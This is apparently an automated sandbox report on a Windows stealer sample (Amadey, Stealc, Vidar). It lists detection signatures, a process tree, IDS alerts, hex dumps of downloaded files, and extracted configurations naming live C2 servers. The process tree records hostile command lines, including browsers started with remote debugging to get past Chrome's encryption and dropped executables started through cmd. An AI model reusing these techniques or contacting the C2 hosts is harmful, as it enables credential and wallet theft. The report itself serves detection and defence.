Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561603
MD5:	e64035d85c07c76968207961c636bafd
SHA1:	042119fffe8ee795bb0d0365ca326dd0adfc775f
SHA256:	504451eddf7c45ab86eb9253a2a669928d27a3e0c6bd9d03564ca6e2370076f4
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7372 cmdline: "C:\Users\user\Desktop\file.exe" MD5: E64035D85C07C76968207961C636BAFD)

chrome.exe (PID: 8100 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4900 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2168,i,15450045308724304407,3334776206142890789,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8696 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8920 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2428 --field-trial-handle=2412,i,7409656468165010788,2301756924555516473,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 7396 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIEBFHCAKFB.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsIEBFHCAKFB.exe (PID: 3536 cmdline: "C:\Users\user\DocumentsIEBFHCAKFB.exe" MD5: A218B8E66F929D65CEA126F98F026C66)

skotes.exe (PID: 6648 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: A218B8E66F929D65CEA126F98F026C66)

msedge.exe (PID: 8944 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7120 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7620 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6568 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7296 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6736 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8840 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7328 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8932 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7328 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 4144 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6444 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001D.00000003.2668437916.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2688121262.000000000137E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.2731458973.00000000000E1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.2708832935.0000000000011000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2681153036.00000000008C1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2171878239.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.2691182689.00000000048B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 7372	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7372	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7372	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7372	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
29.2.DocumentsIEBFHCAKFB.exe.10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
30.2.skotes.exe.e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7372, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 8100, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T21:59:13.797280+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49714	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T21:59:13.676095+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T21:59:14.142599+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T21:59:15.628165+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T21:59:14.264354+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49714	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T21:59:13.174378+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T21:59:16.613055+0100	2803304	3	Unknown Traffic	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-23T21:59:39.007218+0100	2803304	3	Unknown Traffic	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-23T21:59:41.087337+0100	2803304	3	Unknown Traffic	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-23T21:59:42.604378+0100	2803304	3	Unknown Traffic	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-23T21:59:43.944807+0100	2803304	3	Unknown Traffic	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-23T21:59:47.964595+0100	2803304	3	Unknown Traffic	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-23T21:59:49.076793+0100	2803304	3	Unknown Traffic	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-23T21:59:54.654516+0100	2803304	3	Unknown Traffic	192.168.2.6	49917	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.php4f	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phptemDrive=C:System	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001D.00000003.2668437916.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.7372.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C986C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C986C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.190.147.7:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.81:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49943 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2712812920.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2712812920.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 31MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49714
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49714
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49714 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

TCP traffic: 192.168.2.6:50368 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 20:59:16 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 20:59:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 